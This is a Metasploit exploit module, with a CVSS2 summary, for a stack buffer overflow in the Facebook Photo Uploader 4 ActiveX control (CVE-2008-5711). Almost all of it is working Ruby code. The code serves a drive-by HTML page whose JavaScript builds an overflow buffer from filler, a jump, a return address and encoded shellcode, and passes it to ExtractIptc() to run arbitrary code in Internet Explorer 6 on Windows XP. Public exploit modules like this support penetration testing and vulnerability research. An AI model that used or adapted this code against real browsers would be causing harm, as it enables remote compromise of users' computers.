CVSS2
Attack Vector
NETWORK
Attack Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
COMPLETE
Integrity Impact
COMPLETE
Availability Impact
COMPLETE
AV:N/AC:M/Au:N/C:C/I:C/A:C
This module exploits a stack buffer overflow in Facebook Photo Uploader 4. By sending an overly long string to the “ExtractIptc()” property located in the ImageUploader4.ocx (4.5.57.0) Control, an attacker may be able to execute arbitrary code.
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpServer::HTML
def initialize(info = {})
super(update_info(info,
'Name' => 'Facebook Photo Uploader 4 ActiveX Control Buffer Overflow',
'Description' => %q{
This module exploits a stack buffer overflow in Facebook Photo Uploader 4.
By sending an overly long string to the "ExtractIptc()" property located
in the ImageUploader4.ocx (4.5.57.0) Control, an attacker may be able to execute
arbitrary code.
},
'License' => MSF_LICENSE,
'Author' => [ 'MC' ],
'References' =>
[
[ 'CVE', '2008-5711' ],
[ 'OSVDB', '41073' ],
[ 'BID', '27534' ],
[ 'EDB', '5049' ]
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 800,
'BadChars' => "\x00\x09\x0a\x0d'\\",
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
[ 'IE 6 SP0-SP2 / Windows XP SP2 Pro English', { 'Ret' => 0x74c9de3e } ], # 02/07/08
], # ./msfpescan -i /tmp/oleacc.dll | grep SEHandler
'DisclosureDate' => '2008-01-31',
'DefaultTarget' => 0))
end
def autofilter
false
end
def check_dependencies
use_zlib
end
def on_request_uri(cli, request)
# Re-generate the payload
return if ((p = regenerate_payload(cli)) == nil)
# Randomize some things
vname = rand_text_alpha(rand(100) + 1)
strname = rand_text_alpha(rand(100) + 1)
rand1 = rand_text_alpha(rand(100) + 1)
rand2 = rand_text_alpha(rand(100) + 1)
rand3 = rand_text_alpha(rand(100) + 1)
rand4 = rand_text_alpha(rand(100) + 1)
# Set the exploit buffer
filler = Rex::Text.to_unescape(rand_text_alpha(2))
jmp = Rex::Text.to_unescape([0x969606eb].pack('V'))
ret = Rex::Text.to_unescape([target.ret].pack('V'))
sc = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
# Build out the message
content = %Q|<html>
<object classid='clsid:5C6698D9-7BE4-4122-8EC5-291D84DBD4A0' id='#{vname}'></object>
<script language='javascript'>
#{rand1} = unescape('#{filler}');
while (#{rand1}.length <= 261) #{rand1} = #{rand1} + unescape('#{filler}');
#{rand2} = unescape('#{jmp}');
#{rand3} = unescape('#{ret}');
#{rand4} = unescape('#{sc}');
#{strname} = #{rand1} + #{rand2} + #{rand3} + #{rand4};
#{vname}.ExtractIptc = #{strname};
</script>
</html>
|
print_status("Sending #{self.name}")
# Transmit the response to the client
send_response_html(cli, content)
# Handle the payload
handler(cli)
end
end